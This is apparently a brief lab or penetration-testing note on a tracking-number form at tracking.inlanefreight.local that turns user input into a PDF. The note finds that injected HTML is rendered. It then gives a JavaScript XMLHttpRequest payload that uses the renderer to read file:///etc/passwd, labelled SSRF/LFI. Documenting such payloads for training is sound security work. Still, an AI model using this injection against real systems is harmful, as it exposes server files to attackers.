tracking.inlanefreight.local

We can type in tracking numbers and get a PDF back. I put a random number.

Trying different inputs shows that it takes not just number but any input including JS code such as the following. It doesn't spit back the JS script but actually processes it.

<h1>TEST</h1>

SSRF LFI

We can use XMLHttpRequest to read files. (doesn't work against modern web servers)

<script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText)}; x.open("GET","file:///etc/passwd"); x.send(); </script>